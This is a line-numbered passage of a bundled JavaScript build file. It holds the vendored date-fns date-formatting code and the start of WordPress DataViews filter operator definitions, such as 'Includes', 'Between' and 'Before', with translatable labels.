11724 return localize2.ordinalNumber(localDayOfWeek, { unit: "day" });
11725 case "eee":
11726 return localize2.day(dayOfWeek, {
11727 width: "abbreviated",
11728 context: "formatting"
11729 });
11730 // T
11731 case "eeeee":
11732 return localize2.day(dayOfWeek, {
11733 width: "narrow",
11734 context: "formatting"
11735 });
11736 // Tu
11737 case "eeeeee":
11738 return localize2.day(dayOfWeek, {
11739 width: "short",
11740 context: "formatting"
11741 });
11742 // Tuesday
11743 case "eeee":
11744 default:
11745 return localize2.day(dayOfWeek, {
11746 width: "wide",
11747 context: "formatting"
11748 });
11749 }
11750 },
11751 // Stand-alone local day of week
11752 c: function(date, token, localize2, options) {
11753 const dayOfWeek = date.getDay();
11754 const localDayOfWeek = (dayOfWeek - options.weekStartsOn + 8) % 7 || 7;
11755 switch (token) {
11756 // Numerical value (same as in `e`)
11757 case "c":
11758 return String(localDayOfWeek);
11759 // Padded numerical value
11760 case "cc":
11761 return addLeadingZeros(localDayOfWeek, token.length);
11762 // 1st, 2nd, ..., 7th
11763 case "co":
11764 return localize2.ordinalNumber(localDayOfWeek, { unit: "day" });
11765 case "ccc":
11766 return localize2.day(dayOfWeek, {
11767 width: "abbreviated",
11768 context: "standalone"
11769 });
11770 // T
11771 case "ccccc":
11772 return localize2.day(dayOfWeek, {
11773 width: "narrow",
11774 context: "standalone"
11775 });
11776 // Tu
11777 case "cccccc":
11778 return localize2.day(dayOfWeek, {
11779 width: "short",
11780 context: "standalone"
11781 });
11782 // Tuesday
11783 case "cccc":
11784 default:
11785 return localize2.day(dayOfWeek, {
11786 width: "wide",
11787 context: "standalone"
11788 });
11789 }
11790 },
11791 // ISO day of week
11792 i: function(date, token, localize2) {
11793 const dayOfWeek = date.getDay();
11794 const isoDayOfWeek = dayOfWeek === 0 ? 7 : dayOfWeek;
11795 switch (token) {
11796 // 2
11797 case "i":
11798 return String(isoDayOfWeek);
11799 // 02
11800 case "ii":
11801 return addLeadingZeros(isoDayOfWeek, token.length);
11802 // 2nd
11803 case "io":
11804 return localize2.ordinalNumber(isoDayOfWeek, { unit: "day" });
11805 // Tue
11806 case "iii":
11807 return localize2.day(dayOfWeek, {
11808 width: "abbreviated",
11809 context: "formatting"
11810 });
11811 // T
11812 case "iiiii":
11813 return localize2.day(dayOfWeek, {
11814 width: "narrow",
11815 context: "formatting"
11816 });
11817 // Tu
11818 case "iiiiii":
11819 return localize2.day(dayOfWeek, {
11820 width: "short",
11821 context: "formatting"
11822 });
11823 // Tuesday
11824 case "iiii":
11825 default:
11826 return localize2.day(dayOfWeek, {
11827 width: "wide",
11828 context: "formatting"
11829 });
11830 }
11831 },
11832 // AM or PM
11833 a: function(date, token, localize2) {
11834 const hours = date.getHours();
11835 const dayPeriodEnumValue = hours / 12 >= 1 ? "pm" : "am";
11836 switch (token) {
11837 case "a":
11838 case "aa":
11839 return localize2.dayPeriod(dayPeriodEnumValue, {
11840 width: "abbreviated",
11841 context: "formatting"
11842 });
11843 case "aaa":
11844 return localize2.dayPeriod(dayPeriodEnumValue, {
11845 width: "abbreviated",
11846 context: "formatting"
11847 }).toLowerCase();
11848 case "aaaaa":
11849 return localize2.dayPeriod(dayPeriodEnumValue, {
11850 width: "narrow",
11851 context: "formatting"
11852 });
11853 case "aaaa":
11854 default:
11855 return localize2.dayPeriod(dayPeriodEnumValue, {
11856 width: "wide",
11857 context: "formatting"
11858 });
11859 }
11860 },
11861 // AM, PM, midnight, noon
11862 b: function(date, token, localize2) {
11863 const hours = date.getHours();
11864 let dayPeriodEnumValue;
11865 if (hours === 12) {
11866 dayPeriodEnumValue = dayPeriodEnum.noon;
11867 } else if (hours === 0) {
11868 dayPeriodEnumValue = dayPeriodEnum.midnight;
11869 } else {
11870 dayPeriodEnumValue = hours / 12 >= 1 ? "pm" : "am";
11871 }
11872 switch (token) {
11873 case "b":
11874 case "bb":
11875 return localize2.dayPeriod(dayPeriodEnumValue, {
11876 width: "abbreviated",
11877 context: "formatting"
11878 });
11879 case "bbb":
11880 return localize2.dayPeriod(dayPeriodEnumValue, {
11881 width: "abbreviated",
11882 context: "formatting"
11883 }).toLowerCase();
11884 case "bbbbb":
11885 return localize2.dayPeriod(dayPeriodEnumValue, {
11886 width: "narrow",
11887 context: "formatting"
11888 });
11889 case "bbbb":
11890 default:
11891 return localize2.dayPeriod(dayPeriodEnumValue, {
11892 width: "wide",
11893 context: "formatting"
11894 });
11895 }
11896 },
11897 // in the morning, in the afternoon, in the evening, at night
11898 B: function(date, token, localize2) {
11899 const hours = date.getHours();
11900 let dayPeriodEnumValue;
11901 if (hours >= 17) {
11902 dayPeriodEnumValue = dayPeriodEnum.evening;
11903 } else if (hours >= 12) {
11904 dayPeriodEnumValue = dayPeriodEnum.afternoon;
11905 } else if (hours >= 4) {
11906 dayPeriodEnumValue = dayPeriodEnum.morning;
11907 } else {
11908 dayPeriodEnumValue = dayPeriodEnum.night;
11909 }
11910 switch (token) {
11911 case "B":
11912 case "BB":
11913 case "BBB":
11914 return localize2.dayPeriod(dayPeriodEnumValue, {
11915 width: "abbreviated",
11916 context: "formatting"
11917 });
11918 case "BBBBB":
11919 return localize2.dayPeriod(dayPeriodEnumValue, {
11920 width: "narrow",
11921 context: "formatting"
11922 });
11923 case "BBBB":
11924 default:
11925 return localize2.dayPeriod(dayPeriodEnumValue, {
11926 width: "wide",
11927 context: "formatting"
11928 });
11929 }
11930 },
11931 // Hour [1-12]
11932 h: function(date, token, localize2) {
11933 if (token === "ho") {
11934 let hours = date.getHours() % 12;
11935 if (hours === 0) hours = 12;
11936 return localize2.ordinalNumber(hours, { unit: "hour" });
11937 }
11938 return lightFormatters.h(date, token);
11939 },
11940 // Hour [0-23]
11941 H: function(date, token, localize2) {
11942 if (token === "Ho") {
11943 return localize2.ordinalNumber(date.getHours(), { unit: "hour" });
11944 }
11945 return lightFormatters.H(date, token);
11946 },
11947 // Hour [0-11]
11948 K: function(date, token, localize2) {
11949 const hours = date.getHours() % 12;
11950 if (token === "Ko") {
11951 return localize2.ordinalNumber(hours, { unit: "hour" });
11952 }
11953 return addLeadingZeros(hours, token.length);
11954 },
11955 // Hour [1-24]
11956 k: function(date, token, localize2) {
11957 let hours = date.getHours();
11958 if (hours === 0) hours = 24;
11959 if (token === "ko") {
11960 return localize2.ordinalNumber(hours, { unit: "hour" });
11961 }
11962 return addLeadingZeros(hours, token.length);
11963 },
11964 // Minute
11965 m: function(date, token, localize2) {
11966 if (token === "mo") {
11967 return localize2.ordinalNumber(date.getMinutes(), { unit: "minute" });
11968 }
11969 return lightFormatters.m(date, token);
11970 },
11971 // Second
11972 s: function(date, token, localize2) {
11973 if (token === "so") {
11974 return localize2.ordinalNumber(date.getSeconds(), { unit: "second" });
11975 }
11976 return lightFormatters.s(date, token);
11977 },
11978 // Fraction of second
11979 S: function(date, token) {
11980 return lightFormatters.S(date, token);
11981 },
11982 // Timezone (ISO-8601. If offset is 0, output is always `'Z'`)
11983 X: function(date, token, _localize) {
11984 const timezoneOffset = date.getTimezoneOffset();
11985 if (timezoneOffset === 0) {
11986 return "Z";
11987 }
11988 switch (token) {
11989 // Hours and optional minutes
11990 case "X":
11991 return formatTimezoneWithOptionalMinutes(timezoneOffset);
11992 // Hours, minutes and optional seconds without `:` delimiter
11993 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
11994 // so this token always has the same output as `XX`
11995 case "XXXX":
11996 case "XX":
11997 return formatTimezone(timezoneOffset);
11998 // Hours, minutes and optional seconds with `:` delimiter
11999 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
12000 // so this token always has the same output as `XXX`
12001 case "XXXXX":
12002 case "XXX":
12003 // Hours and minutes with `:` delimiter
12004 default:
12005 return formatTimezone(timezoneOffset, ":");
12006 }
12007 },
12008 // Timezone (ISO-8601. If offset is 0, output is `'+00:00'` or equivalent)
12009 x: function(date, token, _localize) {
12010 const timezoneOffset = date.getTimezoneOffset();
12011 switch (token) {
12012 // Hours and optional minutes
12013 case "x":
12014 return formatTimezoneWithOptionalMinutes(timezoneOffset);
12015 // Hours, minutes and optional seconds without `:` delimiter
12016 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
12017 // so this token always has the same output as `xx`
12018 case "xxxx":
12019 case "xx":
12020 return formatTimezone(timezoneOffset);
12021 // Hours, minutes and optional seconds with `:` delimiter
12022 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
12023 // so this token always has the same output as `xxx`
12024 case "xxxxx":
12025 case "xxx":
12026 // Hours and minutes with `:` delimiter
12027 default:
12028 return formatTimezone(timezoneOffset, ":");
12029 }
12030 },
12031 // Timezone (GMT)
12032 O: function(date, token, _localize) {
12033 const timezoneOffset = date.getTimezoneOffset();
12034 switch (token) {
12035 // Short
12036 case "O":
12037 case "OO":
12038 case "OOO":
12039 return "GMT" + formatTimezoneShort(timezoneOffset, ":");
12040 // Long
12041 case "OOOO":
12042 default:
12043 return "GMT" + formatTimezone(timezoneOffset, ":");
12044 }
12045 },
12046 // Timezone (specific non-location)
12047 z: function(date, token, _localize) {
12048 const timezoneOffset = date.getTimezoneOffset();
12049 switch (token) {
12050 // Short
12051 case "z":
12052 case "zz":
12053 case "zzz":
12054 return "GMT" + formatTimezoneShort(timezoneOffset, ":");
12055 // Long
12056 case "zzzz":
12057 default:
12058 return "GMT" + formatTimezone(timezoneOffset, ":");
12059 }
12060 },
12061 // Seconds timestamp
12062 t: function(date, token, _localize) {
12063 const timestamp = Math.trunc(+date / 1e3);
12064 return addLeadingZeros(timestamp, token.length);
12065 },
12066 // Milliseconds timestamp
12067 T: function(date, token, _localize) {
12068 return addLeadingZeros(+date, token.length);
12069 }
12070 };
12071 function formatTimezoneShort(offset, delimiter = "") {
12072 const sign = offset > 0 ? "-" : "+";
12073 const absOffset = Math.abs(offset);
12074 const hours = Math.trunc(absOffset / 60);
12075 const minutes = absOffset % 60;
12076 if (minutes === 0) {
12077 return sign + String(hours);
12078 }
12079 return sign + String(hours) + delimiter + addLeadingZeros(minutes, 2);
12080 }
12081 function formatTimezoneWithOptionalMinutes(offset, delimiter) {
12082 if (offset % 60 === 0) {
12083 const sign = offset > 0 ? "-" : "+";
12084 return sign + addLeadingZeros(Math.abs(offset) / 60, 2);
12085 }
12086 return formatTimezone(offset, delimiter);
12087 }
12088 function formatTimezone(offset, delimiter = "") {
12089 const sign = offset > 0 ? "-" : "+";
12090 const absOffset = Math.abs(offset);
12091 const hours = addLeadingZeros(Math.trunc(absOffset / 60), 2);
12092 const minutes = addLeadingZeros(absOffset % 60, 2);
12093 return sign + hours + delimiter + minutes;
12094 }
12095
12096 // packages/dataviews/node_modules/date-fns/_lib/format/longFormatters.js
12097 var dateLongFormatter = (pattern, formatLong2) => {
12098 switch (pattern) {
12099 case "P":
12100 return formatLong2.date({ width: "short" });
12101 case "PP":
12102 return formatLong2.date({ width: "medium" });
12103 case "PPP":
12104 return formatLong2.date({ width: "long" });
12105 case "PPPP":
12106 default:
12107 return formatLong2.date({ width: "full" });
12108 }
12109 };
12110 var timeLongFormatter = (pattern, formatLong2) => {
12111 switch (pattern) {
12112 case "p":
12113 return formatLong2.time({ width: "short" });
12114 case "pp":
12115 return formatLong2.time({ width: "medium" });
12116 case "ppp":
12117 return formatLong2.time({ width: "long" });
12118 case "pppp":
12119 default:
12120 return formatLong2.time({ width: "full" });
12121 }
12122 };
12123 var dateTimeLongFormatter = (pattern, formatLong2) => {
12124 const matchResult = pattern.match(/(P+)(p+)?/) || [];
12125 const datePattern = matchResult[1];
12126 const timePattern = matchResult[2];
12127 if (!timePattern) {
12128 return dateLongFormatter(pattern, formatLong2);
12129 }
12130 let dateTimeFormat;
12131 switch (datePattern) {
12132 case "P":
12133 dateTimeFormat = formatLong2.dateTime({ width: "short" });
12134 break;
12135 case "PP":
12136 dateTimeFormat = formatLong2.dateTime({ width: "medium" });
12137 break;
12138 case "PPP":
12139 dateTimeFormat = formatLong2.dateTime({ width: "long" });
12140 break;
12141 case "PPPP":
12142 default:
12143 dateTimeFormat = formatLong2.dateTime({ width: "full" });
12144 break;
12145 }
12146 return dateTimeFormat.replace("{{date}}", dateLongFormatter(datePattern, formatLong2)).replace("{{time}}", timeLongFormatter(timePattern, formatLong2));
12147 };
12148 var longFormatters = {
12149 p: timeLongFormatter,
12150 P: dateTimeLongFormatter
12151 };
12152
12153 // packages/dataviews/node_modules/date-fns/_lib/protectedTokens.js
12154 var dayOfYearTokenRE = /^D+$/;
12155 var weekYearTokenRE = /^Y+$/;
12156 var throwTokens = ["D", "DD", "YY", "YYYY"];
12157 function isProtectedDayOfYearToken(token) {
12158 return dayOfYearTokenRE.test(token);
12159 }
12160 function isProtectedWeekYearToken(token) {
12161 return weekYearTokenRE.test(token);
12162 }
12163 function warnOrThrowProtectedError(token, format6, input) {
12164 const _message = message(token, format6, input);
12165 console.warn(_message);
12166 if (throwTokens.includes(token)) throw new RangeError(_message);
12167 }
12168 function message(token, format6, input) {
12169 const subject = token[0] === "Y" ? "years" : "days of the month";
12170 return `Use \`${token.toLowerCase()}\` instead of \`${token}\` (in \`${format6}\`) for formatting ${subject} to the input \`${input}\`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md`;
12171 }
12172
12173 // packages/dataviews/node_modules/date-fns/format.js
12174 var formattingTokensRegExp = /[yYQqMLwIdDecihHKkms]o|(\w)\1*|''|'(''|[^'])+('|$)|./g;
12175 var longFormattingTokensRegExp = /P+p+|P+|p+|''|'(''|[^'])+('|$)|./g;
12176 var escapedStringRegExp = /^'([^]*?)'?$/;
12177 var doubleQuoteRegExp = /''/g;
12178 var unescapedLatinCharacterRegExp = /[a-zA-Z]/;
12179 function format(date, formatStr, options) {
12180 const defaultOptions2 = getDefaultOptions();
12181 const locale = options?.locale ?? defaultOptions2.locale ?? enUS;
12182 const firstWeekContainsDate = options?.firstWeekContainsDate ?? options?.locale?.options?.firstWeekContainsDate ?? defaultOptions2.firstWeekContainsDate ?? defaultOptions2.locale?.options?.firstWeekContainsDate ?? 1;
12183 const weekStartsOn = options?.weekStartsOn ?? options?.locale?.options?.weekStartsOn ?? defaultOptions2.weekStartsOn ?? defaultOptions2.locale?.options?.weekStartsOn ?? 0;
12184 const originalDate = toDate(date, options?.in);
12185 if (!isValid(originalDate)) {
12186 throw new RangeError("Invalid time value");
12187 }
12188 let parts = formatStr.match(longFormattingTokensRegExp).map((substring) => {
12189 const firstCharacter = substring[0];
12190 if (firstCharacter === "p" || firstCharacter === "P") {
12191 const longFormatter = longFormatters[firstCharacter];
12192 return longFormatter(substring, locale.formatLong);
12193 }
12194 return substring;
12195 }).join("").match(formattingTokensRegExp).map((substring) => {
12196 if (substring === "''") {
12197 return { isToken: false, value: "'" };
12198 }
12199 const firstCharacter = substring[0];
12200 if (firstCharacter === "'") {
12201 return { isToken: false, value: cleanEscapedString(substring) };
12202 }
12203 if (formatters[firstCharacter]) {
12204 return { isToken: true, value: substring };
12205 }
12206 if (firstCharacter.match(unescapedLatinCharacterRegExp)) {
12207 throw new RangeError(
12208 "Format string contains an unescaped latin alphabet character `" + firstCharacter + "`"
12209 );
12210 }
12211 return { isToken: false, value: substring };
12212 });
12213 if (locale.localize.preprocessor) {
12214 parts = locale.localize.preprocessor(originalDate, parts);
12215 }
12216 const formatterOptions = {
12217 firstWeekContainsDate,
12218 weekStartsOn,
12219 locale
12220 };
12221 return parts.map((part) => {
12222 if (!part.isToken) return part.value;
12223 const token = part.value;
12224 if (!options?.useAdditionalWeekYearTokens && isProtectedWeekYearToken(token) || !options?.useAdditionalDayOfYearTokens && isProtectedDayOfYearToken(token)) {
12225 warnOrThrowProtectedError(token, formatStr, String(date));
12226 }
12227 const formatter = formatters[token[0]];
12228 return formatter(originalDate, token, locale.localize, formatterOptions);
12229 }).join("");
12230 }
12231 function cleanEscapedString(input) {
12232 const matched = input.match(escapedStringRegExp);
12233 if (!matched) {
12234 return input;
12235 }
12236 return matched[1].replace(doubleQuoteRegExp, "'");
12237 }
12238
12239 // packages/dataviews/node_modules/date-fns/subDays.js
12240 function subDays(date, amount, options) {
12241 return addDays(date, -amount, options);
12242 }
12243
12244 // packages/dataviews/node_modules/date-fns/subMonths.js
12245 function subMonths(date, amount, options) {
12246 return addMonths(date, -amount, options);
12247 }
12248
12249 // packages/dataviews/node_modules/date-fns/subWeeks.js
12250 function subWeeks(date, amount, options) {
12251 return addWeeks(date, -amount, options);
12252 }
12253
12254 // packages/dataviews/node_modules/date-fns/subYears.js
12255 function subYears(date, amount, options) {
12256 return addYears(date, -amount, options);
12257 }
12258
12259 // packages/dataviews/build-module/utils/operators.mjs
12260 var import_i18n29 = __toESM(require_i18n(), 1);
12261 var import_element27 = __toESM(require_element(), 1);
12262 var import_date = __toESM(require_date(), 1);
12263 var import_jsx_runtime62 = __toESM(require_jsx_runtime(), 1);
12264 var filterTextWrappers = {
12265 Name: /* @__PURE__ */ (0, import_jsx_runtime62.jsx)("span", { className: "dataviews-filters__summary-filter-text-name" }),
12266 Value: /* @__PURE__ */ (0, import_jsx_runtime62.jsx)("span", { className: "dataviews-filters__summary-filter-text-value" })
12267 };
12268 function getRelativeDate(value, unit) {
12269 switch (unit) {
12270 case "days":
12271 return subDays(/* @__PURE__ */ new Date(), value);
12272 case "weeks":
12273 return subWeeks(/* @__PURE__ */ new Date(), value);
12274 case "months":
12275 return subMonths(/* @__PURE__ */ new Date(), value);
12276 case "years":
12277 return subYears(/* @__PURE__ */ new Date(), value);
12278 default:
12279 return /* @__PURE__ */ new Date();
12280 }
12281 }
12282 var isNoneOperatorDefinition = {
12283 /* translators: DataViews operator name */
12284 label: (0, import_i18n29.__)("Is none of"),
12285 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12286 (0, import_i18n29.sprintf)(
12287 /* translators: 1: Filter name (e.g. "Author"). 2: Filter value (e.g. "Admin"): "Author is none of: Admin, Editor". */
12288 (0, import_i18n29.__)("<Name>%1$s is none of: </Name><Value>%2$s</Value>"),
12289 filter.name,
12290 activeElements.map((element) => element.label).join(", ")
12291 ),
12292 filterTextWrappers
12293 ),
12294 filter: ((item, field, filterValue) => {
12295 if (!filterValue?.length) {
12296 return true;
12297 }
12298 const fieldValue = field.getValue({ item });
12299 if (Array.isArray(fieldValue)) {
12300 return !filterValue.some(
12301 (fv) => fieldValue.includes(fv)
12302 );
12303 } else if (typeof fieldValue === "string") {
12304 return !filterValue.includes(fieldValue);
12305 }
12306 return false;
12307 }),
12308 selection: "multi"
12309 };
12310 var OPERATORS = [
12311 {
12312 name: OPERATOR_IS_ANY,
12313 /* translators: DataViews operator name */
12314 label: (0, import_i18n29.__)("Includes"),
12315 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12316 (0, import_i18n29.sprintf)(
12317 /* translators: 1: Filter name (e.g. "Author"). 2: Filter value (e.g. "Admin"): "Author is any: Admin, Editor". */
12318 (0, import_i18n29.__)("<Name>%1$s includes: </Name><Value>%2$s</Value>"),
12319 filter.name,
12320 activeElements.map((element) => element.label).join(", ")
12321 ),
12322 filterTextWrappers
12323 ),
12324 filter(item, field, filterValue) {
12325 if (!filterValue?.length) {
12326 return true;
12327 }
12328 const fieldValue = field.getValue({ item });
12329 if (Array.isArray(fieldValue)) {
12330 return filterValue.some(
12331 (fv) => fieldValue.includes(fv)
12332 );
12333 } else if (typeof fieldValue === "string") {
12334 return filterValue.includes(fieldValue);
12335 }
12336 return false;
12337 },
12338 selection: "multi"
12339 },
12340 {
12341 name: OPERATOR_IS_NONE,
12342 ...isNoneOperatorDefinition
12343 },
12344 {
12345 name: OPERATOR_IS_ALL,
12346 /* translators: DataViews operator name */
12347 label: (0, import_i18n29.__)("Includes all"),
12348 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12349 (0, import_i18n29.sprintf)(
12350 /* translators: 1: Filter name (e.g. "Author"). 2: Filter value (e.g. "Admin"): "Author includes all: Admin, Editor". */
12351 (0, import_i18n29.__)("<Name>%1$s includes all: </Name><Value>%2$s</Value>"),
12352 filter.name,
12353 activeElements.map((element) => element.label).join(", ")
12354 ),
12355 filterTextWrappers
12356 ),
12357 filter(item, field, filterValue) {
12358 if (!filterValue?.length) {
12359 return true;
12360 }
12361 return filterValue.every((value) => {
12362 return field.getValue({ item })?.includes(value);
12363 });
12364 },
12365 selection: "multi"
12366 },
12367 {
12368 name: OPERATOR_IS_NOT_ALL,
12369 ...isNoneOperatorDefinition
12370 },
12371 {
12372 name: OPERATOR_BETWEEN,
12373 /* translators: DataViews operator name */
12374 label: (0, import_i18n29.__)("Between (inc)"),
12375 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12376 (0, import_i18n29.sprintf)(
12377 /* translators: 1: Filter name (e.g. "Item count"). 2: Filter value min. 3: Filter value max. e.g.: "Item count between (inc): 10 and 180". */
12378 (0, import_i18n29.__)(
12379 "<Name>%1$s between (inc): </Name><Value>%2$s and %3$s</Value>"
12380 ),
12381 filter.name,
12382 activeElements[0].label[0],
12383 activeElements[0].label[1]
12384 ),
12385 filterTextWrappers
12386 ),
12387 filter(item, field, filterValue) {
12388 if (!Array.isArray(filterValue) || filterValue.length !== 2 || filterValue[0] === void 0 || filterValue[1] === void 0) {
12389 return true;
12390 }
12391 const fieldValue = field.getValue({ item });
12392 if (typeof fieldValue === "number" || fieldValue instanceof Date || typeof fieldValue === "string") {
12393 return fieldValue >= filterValue[0] && fieldValue <= filterValue[1];
12394 }
12395 return false;
12396 },
12397 selection: "custom"
12398 },
12399 {
12400 name: OPERATOR_IN_THE_PAST,
12401 /* translators: DataViews operator name */
12402 label: (0, import_i18n29.__)("In the past"),
12403 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12404 (0, import_i18n29.sprintf)(
12405 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "7 days"): "Date is in the past: 7 days". */
12406 (0, import_i18n29.__)(
12407 "<Name>%1$s is in the past: </Name><Value>%2$s</Value>"
12408 ),
12409 filter.name,
12410 `${activeElements[0].value.value} ${activeElements[0].value.unit}`
12411 ),
12412 filterTextWrappers
12413 ),
12414 filter(item, field, filterValue) {
12415 if (filterValue?.value === void 0 || filterValue?.unit === void 0) {
12416 return true;
12417 }
12418 const targetDate = getRelativeDate(
12419 filterValue.value,
12420 filterValue.unit
12421 );
12422 const fieldValue = (0, import_date.getDate)(field.getValue({ item }));
12423 return fieldValue >= targetDate && fieldValue <= /* @__PURE__ */ new Date();
12424 },
12425 selection: "custom"
12426 },
12427 {
12428 name: OPERATOR_OVER,
12429 /* translators: DataViews operator name */
12430 label: (0, import_i18n29.__)("Over"),
12431 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12432 (0, import_i18n29.sprintf)(
12433 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "7 days"): "Date is over: 7 days". */
12434 (0, import_i18n29.__)("<Name>%1$s is over: </Name><Value>%2$s</Value>"),
12435 filter.name,
12436 `${activeElements[0].value.value} ${activeElements[0].value.unit}`
12437 ),
12438 filterTextWrappers
12439 ),
12440 filter(item, field, filterValue) {
12441 if (filterValue?.value === void 0 || filterValue?.unit === void 0) {
12442 return true;
12443 }
12444 const targetDate = getRelativeDate(
12445 filterValue.value,
12446 filterValue.unit
12447 );
12448 const fieldValue = (0, import_date.getDate)(field.getValue({ item }));
12449 return fieldValue < targetDate;
12450 },
12451 selection: "custom"
12452 },
12453 {
12454 name: OPERATOR_IS,
12455 /* translators: DataViews operator name */
12456 label: (0, import_i18n29.__)("Is"),
12457 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12458 (0, import_i18n29.sprintf)(
12459 /* translators: 1: Filter name (e.g. "Author"). 2: Filter value (e.g. "Admin"): "Author is: Admin". */
12460 (0, import_i18n29.__)("<Name>%1$s is: </Name><Value>%2$s</Value>"),
12461 filter.name,
12462 activeElements[0].label
12463 ),
12464 filterTextWrappers
12465 ),
12466 filter(item, field, filterValue) {
12467 return filterValue === field.getValue({ item }) || filterValue === void 0;
12468 },
12469 selection: "single"
12470 },
12471 {
12472 name: OPERATOR_IS_NOT,
12473 /* translators: DataViews operator name */
12474 label: (0, import_i18n29.__)("Is not"),
12475 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12476 (0, import_i18n29.sprintf)(
12477 /* translators: 1: Filter name (e.g. "Author"). 2: Filter value (e.g. "Admin"): "Author is not: Admin". */
12478 (0, import_i18n29.__)("<Name>%1$s is not: </Name><Value>%2$s</Value>"),
12479 filter.name,
12480 activeElements[0].label
12481 ),
12482 filterTextWrappers
12483 ),
12484 filter(item, field, filterValue) {
12485 return filterValue !== field.getValue({ item });
12486 },
12487 selection: "single"
12488 },
12489 {
12490 name: OPERATOR_LESS_THAN,
12491 /* translators: DataViews operator name */
12492 label: (0, import_i18n29.__)("Less than"),
12493 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12494 (0, import_i18n29.sprintf)(
12495 /* translators: 1: Filter name (e.g. "Count"). 2: Filter value (e.g. "10"): "Count is less than: 10". */
12496 (0, import_i18n29.__)("<Name>%1$s is less than: </Name><Value>%2$s</Value>"),
12497 filter.name,
12498 activeElements[0].label
12499 ),
12500 filterTextWrappers
12501 ),
12502 filter(item, field, filterValue) {
12503 if (filterValue === void 0) {
12504 return true;
12505 }
12506 const fieldValue = field.getValue({ item });
12507 return fieldValue < filterValue;
12508 },
12509 selection: "single"
12510 },
12511 {
12512 name: OPERATOR_GREATER_THAN,
12513 /* translators: DataViews operator name */
12514 label: (0, import_i18n29.__)("Greater than"),
12515 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12516 (0, import_i18n29.sprintf)(
12517 /* translators: 1: Filter name (e.g. "Count"). 2: Filter value (e.g. "10"): "Count is greater than: 10". */
12518 (0, import_i18n29.__)(
12519 "<Name>%1$s is greater than: </Name><Value>%2$s</Value>"
12520 ),
12521 filter.name,
12522 activeElements[0].label
12523 ),
12524 filterTextWrappers
12525 ),
12526 filter(item, field, filterValue) {
12527 if (filterValue === void 0) {
12528 return true;
12529 }
12530 const fieldValue = field.getValue({ item });
12531 return fieldValue > filterValue;
12532 },
12533 selection: "single"
12534 },
12535 {
12536 name: OPERATOR_LESS_THAN_OR_EQUAL,
12537 /* translators: DataViews operator name */
12538 label: (0, import_i18n29.__)("Less than or equal"),
12539 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12540 (0, import_i18n29.sprintf)(
12541 /* translators: 1: Filter name (e.g. "Count"). 2: Filter value (e.g. "10"): "Count is less than or equal to: 10". */
12542 (0, import_i18n29.__)(
12543 "<Name>%1$s is less than or equal to: </Name><Value>%2$s</Value>"
12544 ),
12545 filter.name,
12546 activeElements[0].label
12547 ),
12548 filterTextWrappers
12549 ),
12550 filter(item, field, filterValue) {
12551 if (filterValue === void 0) {
12552 return true;
12553 }
12554 const fieldValue = field.getValue({ item });
12555 return fieldValue <= filterValue;
12556 },
12557 selection: "single"
12558 },
12559 {
12560 name: OPERATOR_GREATER_THAN_OR_EQUAL,
12561 /* translators: DataViews operator name */
12562 label: (0, import_i18n29.__)("Greater than or equal"),
12563 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12564 (0, import_i18n29.sprintf)(
12565 /* translators: 1: Filter name (e.g. "Count"). 2: Filter value (e.g. "10"): "Count is greater than or equal to: 10". */
12566 (0, import_i18n29.__)(
12567 "<Name>%1$s is greater than or equal to: </Name><Value>%2$s</Value>"
12568 ),
12569 filter.name,
12570 activeElements[0].label
12571 ),
12572 filterTextWrappers
12573 ),
12574 filter(item, field, filterValue) {
12575 if (filterValue === void 0) {
12576 return true;
12577 }
12578 const fieldValue = field.getValue({ item });
12579 return fieldValue >= filterValue;
12580 },
12581 selection: "single"
12582 },
12583 {
12584 name: OPERATOR_BEFORE,
12585 /* translators: DataViews operator name */
12586 label: (0, import_i18n29.__)("Before"),
12587 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12588 (0, import_i18n29.sprintf)(
12589 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is before: 2024-01-01". */
12590 (0, import_i18n29.__)("<Name>%1$s is before: </Name><Value>%2$s</Value>"),
12591 filter.name,
12592 activeElements[0].label
12593 ),
12594 filterTextWrappers
12595 ),
12596 filter(item, field, filterValue) {
12597 if (filterValue === void 0) {
12598 return true;
12599 }
12600 const filterDate = (0, import_date.getDate)(filterValue);
12601 const fieldDate = (0, import_date.getDate)(field.getValue({ item }));
12602 return fieldDate < filterDate;
12603 },
12604 selection: "single"
12605 },
12606 {
12607 name: OPERATOR_AFTER,
12608 /* translators: DataViews operator name */
12609 label: (0, import_i18n29.__)("After"),
12610 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12611 (0, import_i18n29.sprintf)(
12612 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is after: 2024-01-01". */
12613 (0, import_i18n29.__)("<Name>%1$s is after: </Name><Value>%2$s</Value>"),
12614 filter.name,
12615 activeElements[0].label
12616 ),
12617 filterTextWrappers
12618 ),
12619 filter(item, field, filterValue) {
12620 if (filterValue === void 0) {
12621 return true;
12622 }
12623 const filterDate = (0, import_date.getDate)(filterValue);
12624 const fieldDate = (0, import_date.getDate)(field.getValue({ item }));
12625 return fieldDate > filterDate;
12626 },
12627 selection: "single"
12628 },
12629 {
12630 name: OPERATOR_BEFORE_INC,
12631 /* translators: DataViews operator name */
12632 label: (0, import_i18n29.__)("Before (inc)"),
12633 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12634 (0, import_i18n29.sprintf)(
